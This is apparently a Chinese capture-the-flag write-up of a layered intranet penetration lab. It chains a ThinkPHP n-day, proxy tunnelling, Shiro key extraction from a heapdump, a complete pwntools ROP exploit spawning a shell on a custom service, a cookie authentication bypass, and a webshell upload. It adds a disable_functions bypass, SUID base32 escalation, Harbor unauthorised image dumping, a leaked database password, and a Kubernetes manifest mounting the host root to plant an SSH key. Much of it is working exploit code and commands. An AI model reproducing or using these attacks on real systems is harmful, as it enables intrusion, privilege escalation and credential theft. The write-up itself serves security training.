ThinkPHP (172.28.23.17) 先扫描端口,发现开放了两个web服务
8080是一个后台登录框,版本是ThinkPHP V5.0.23
直接用tp5的nday打
写入shell后根目录有flag1
然后上传fscan开始扫内网
1 2 3 4 5 6 7 8 9 10 11 12 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link /loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link /ether 00:16:3e:04:4a:03 brd ff:ff:ff:ff:ff:ff inet 172.28.23.17/16 brd 172.28.255.255 scope global dynamic eth0 valid_lft 315357428sec preferred_lft 315357428sec inet6 fe80::216:3eff:fe04:4a03/64 scope link valid_lft forever preferred_lft forever
发现存活主机如下
1 2 172.28.23.26 172.28.23.33
第一层内网 建立代理 通过Neo-reGeorg上传一个tunnel.php
然后本地建立连接,转发到本地的6666端口
python neoreg.py -k dr0n1 -p 6666 -u http://8.130.36.152:8080/tunnel.php
然后使用proxifier或者SwitchyOmega等代理
智联科技 ERP (172.28.23.33) 开放了8080端口,访问是 智联科技 ERP 后台登陆
扫下目录
python dirsearch.py -u http://172.28.23.33:8080/ --proxy socks5://127.0.0.1:6666
显然是Shiro框架+heapdump泄露
使用JDumpSpider
分析heapdump,拿到ShiroKey
1 2 3 4 5 6 =========================================== CookieRememberMeManager(ShiroKey) ------------- algMode = GCM, key = AZYyIgMYhG6/CzIJlvpR2g==, algName = AES ===========================================
注入内存马后连接shell
没找到flag,用户是ops01,应该是要提权
在/home/ops01/中有HashNote文件,开放了59696端口
分析HashNote文件
首先调用了sub_40501E()
进行身份验证,密码为freep@ssw0rd:3
选项1调用了sub_404924()
输入key后调用了sub_40482C()
,生成hash作为索引,返回的范围是0-126
因为在重复判断时没有对索引进行验证,存在数组越界
选项2调用了sub_404B7A()
与1同样,没有对索引验证,可以构造data,实现任意地址读
选项3调用了sub_404D2D()
与2一样,输出变成了写入,可以任意地址写
因为username的地址在数组之后,所以越界后数组可以索引到username
先构造两个同样hash不同key的数据
1 2 3 4 5 6 7 def add (key,data='b' ): p.sendlineafter(b'Option:' ,b'1' ) p.sendlineafter(b'Key:' ,key) p.sendlineafter(b'Data:' ,data) add(b'\x30' *1 +b'\x31' +b'\x44' ,b'test' ) add(b'\x30' *2 +b'\x31' +b'\x44' ,b'test' )
然后再username中伪造数据,获取栈的地址
1 2 3 4 5 6 7 8 9 10 username=0x5dc980 stack=0x5e4fa8 ukey=b'\x30' *5 +b'\x31' +b'\x44' fake_chunk=flat({ 0 :username+0x10 , 0x10 :[username+0x20 ,len (ukey),\ ukey,0 ], 0x30 :[stack,0x10 ] },filler=b'\x00' )
拿到地址后就可以向栈中写入rop链
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from pwn import * context.arch='amd64' def add (key,data='b' ): p.sendlineafter(b'Option:' ,b'1' ) p.sendlineafter(b'Key:' ,key) p.sendlineafter(b'Data:' ,data)def show (key ): p.sendlineafter(b'Option:' ,b'2' ) p.sendlineafter(b"Key: " ,key);def edit (key,data ): p.sendlineafter(b'Option:' ,b'3' ) p.sendlineafter(b'Key:' ,key) p.sendlineafter(b'Data:' ,data)def name (username ): p.sendlineafter(b'Option:' ,b'4' ) p.sendlineafter(b'name:' ,username) p = remote('172.28.23.33' , 59696 ) username=0x5dc980 stack=0x5e4fa8 ukey=b'\x30' *5 +b'\x31' +b'\x44' fake_chunk=flat({ 0 :username+0x10 , 0x10 :[username+0x20 ,len (ukey),\ ukey,0 ], 0x30 :[stack,0x10 ] },filler=b'\x00' ) p.sendlineafter(b'name' ,fake_chunk) p.sendlineafter(b'word' ,'freep@ssw0rd:3' ) add(b'\x30' *1 +b'\x31' +b'\x44' ,b'test' ) add(b'\x30' *2 +b'\x31' +b'\x44' ,b'test' ) show(ukey) main_ret=u64(p.read(8 ))-0x1e0 rdi=0x0000000000405e7c rsi=0x000000000040974f rdx=0x000000000053514b rax=0x00000000004206ba syscall=0x00000000004560c6 fake_chunk=flat({ 0 :username+0x20 , 0x20 :[username+0x30 ,len (ukey),\ ukey,0 ], 0x40 :[main_ret,0x100 ,b'/bin/sh\x00' ] },filler=b'\x00' ) name(fake_chunk.ljust(0x80 ,b'\x00' )) payload=flat([ rdi,username+0x50 , rsi,0 , rdx,0 ,0 , rax,0x3b , syscall ]) p.sendlineafter(b'Option:' ,b'3' ) p.sendlineafter(b'Key:' ,ukey) p.sendline(payload) p.sendlineafter(b'Option:' ,b'9' ) p.interactive()
在/root/flag_RaYz1/f1ag03.txt
拿到flag3
有两张网卡
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link /loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link /ether 00:16:3e:03:cb:48 brd ff:ff:ff:ff:ff:ff inet 172.28.23.33/16 brd 172.28.255.255 scope global dynamic eth0 valid_lft 315357178sec preferred_lft 315357178sec inet6 fe80::216:3eff:fe03:cb48/64 scope link valid_lft forever preferred_lft forever 3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link /ether 00:16:3e:03:97:b8 brd ff:ff:ff:ff:ff:ff inet 172.22.10.16/24 brd 172.22.10.255 scope global eth1 valid_lft forever preferred_lft forever inet6 fe80::216:3eff:fe03:97b8/64 scope link valid_lft forever preferred_lft forever
将fscan传到172.28.23.17后wget下载
172.22.10.1/24 网段存活如下
新翔OA (172.28.23.26) 在之前的扫描结果中看到开放了21端口,匿名用户可以登录
下载oa源码
开始审计代码
从main.php
开始,开头引入了db.php
和checklogin.php
抽象的鉴权
checklogin.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php function islogin ( ) { if (isset ($_COOKIE ['id' ])&&isset ($_COOKIE ['loginname' ])&&isset ($_COOKIE ['jueseid' ])&&isset ($_COOKIE ['danweiid' ])&&isset ($_COOKIE ['quanxian' ])){ if ($_COOKIE ['id' ]!='' &&$_COOKIE ['loginname' ]!='' &&$_COOKIE ['jueseid' ]!='' &&$_COOKIE ['danweiid' ]!='' &&$_COOKIE ['quanxian' ]!='' ){ return true ; } else { return false ; } } else { return false ; } }?>
Cookie: id=1;loginname=1;jueseid=1;danweiid=1;quanxian=1
直接登录
登进去后好像没什么用,后台写的很简陋,没有功能点
在源码根目录下还有一个uploadbase64.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php $img = $_POST ['imgbase64' ];if (preg_match ('/^(data:\s*image\/(\w+);base64,)/' , $img , $result )) { $type = "." .$result [2 ]; $path = "upload/" . date ("Y-m-d" ) . "-" . uniqid () . $type ; }$img = base64_decode (str_replace ($result [1 ], '' , $img )); @file_put_contents ($path , $img );exit ('{"src":"' .$path .'"}' );
对于上传的校验不完整,只要符合格式是data:image/xxx;base64,xxx
这种就行了
连上shell后发现有很多disable_functions
1 pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,file_get_contents,readfile,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,highlight_file,show_source,iconv,dl
用蚁剑自带的插件绕过即可
不过连接前需要修改下.antproxy.php
中的$url
,加一个/upload
然后就可以执行命令来提权了
执行find / -perm -u=s -type f 2>/dev/null
,发现base32
有suid权限,可以利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 /bin/fusermount /bin/ping6 /bin/mount /bin/su /bin/ping /bin/umount /usr/bin/chfn /usr/bin/newgrp /usr/bin/gpasswd /usr/bin/at /usr/bin/staprun /usr/bin/base32 /usr/bin/passwd /usr/bin/chsh /usr/bin/sudo /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/s-nail/s-nail-privsep
查看网卡情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1 link /loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link /ether 00:16:3e:01:54:82 brd ff:ff:ff:ff:ff:ff inet 172.28.23.26/16 brd 172.28.255.255 scope global eth0 valid_lft forever preferred_lft forever inet6 fe80::216:3eff:fe01:5482/64 scope link valid_lft forever preferred_lft forever 3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link /ether 00:16:3e:01:a4:5e brd ff:ff:ff:ff:ff:ff inet 172.22.14.6/16 brd 172.22.255.255 scope global eth1 valid_lft forever preferred_lft forever inet6 fe80::216:3eff:fe01:a45e/64 scope link valid_lft forever preferred_lft forever
同样的wget下载fscan
http://172.28.23.26/upload/.antproxy.php?a=system("wget http://172.28.23.17:8080/fscan");
然后反弹到thinkphp里执行
172.22.14.1/24 网段存活如下
1 2 172.22.14.37 172.22.14.46
第二层内网 建立代理 使用Stowaway
将内网主机多层代理出来
1:vps上作为管理端./linux_x64_admin -l 2223 -s 2223
2:ThinkPHP (172.28.23.17) 作为跳板./linux_x64_agent -c 47.99.77.52:2223 -s 2223 --reconnect 8
3:控制端监听端口
1 2 3 4 5 6 7 8 (admin) >> use 0 (node 0) >> listen [*] BE AWARE! If you choose IPTables Reuse or SOReuse,you MUST CONFIRM that the node you're controlling was started in the corresponding way! [*] When you choose IPTables Reuse or SOReuse, the node will use the initial config(when node started) to reuse port! [*] Please choose the mode(1.Normal passive/2.IPTables Reuse/3.SOReuse): 1 [*] Please input the [ip:]<port> : 8889 [*] Waiting for response...... [*] Node is listening on 8889
4:新翔OA (172.28.23.26)连接到ThinkPHP (172.28.23.17)./linux_x64_agent -c 172.28.23.17:8889 -s 2223 --reconnect 8
5:然后就可以建立socks代理了
1 2 3 4 (node 0) >> socks 7878 [*] Trying to listen on 0.0.0.0:7878...... [*] Waiting for agent's response...... [*] Socks start successfully!
Harbor (172.22.14.46) 尝试打harbor未授权
下载secret镜像
python harbor.py http://172.22.14.46/ --dump harbor/secret -v2
得到flag5
DooTask (172.22.10.28) 下载projectadmin镜像
python harbor.py http://172.22.14.46/ --dump project/projectadmin -v2
run.sh
1 2 3 4 5 6 #!/bin/bash sleep 1 java -jar /app/ProjectAdmin-0.0.1-SNAPSHOT.jar /usr/bin/tail -f /dev/null
找到ProjectAdmin-0.0.1-SNAPSHOT.jar
然后反编译
泄露了数据库账号密码
1 2 3 4 5 6 7 spring.datasource.url=jdbc:mysql: spring.datasource.username=root spring.datasource.password=My3q1i4oZkJm3 spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver mybatis.type-aliases-package =com.smartlink.projectadmin.entity mybatis.mapper-locations=classpath:mybatis/mapper
直接用MDUT一把梭
k8s (172.22.14.37) fscan扫到了10250端口,这个端口有个k8s kubelet 10250端口未授权
,但是不符合利用条件
尝试另一个6443端口的Api Server未授权
编辑恶意yaml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 apiVersion: apps/v1 kind: Deployment metadata: name: nginx-deployment labels: app: nginx spec: replicas: 1 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:1.8 volumeMounts: - mountPath: /mnt name: test-volume volumes: - name: test-volume hostPath: path: /
创建pod
kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ apply -f evil.yaml
列出pod
kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods -n default
进容器
kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ exec -it nginx-deployment-864f8bfd6f-zfgqd /bin/bash
写公钥
echo "ssh-rsa xxxx" > /mnt/root/.ssh/authorized_keys
ssh连接,在数据库中得到flag
拓扑图 大概绘制的拓扑图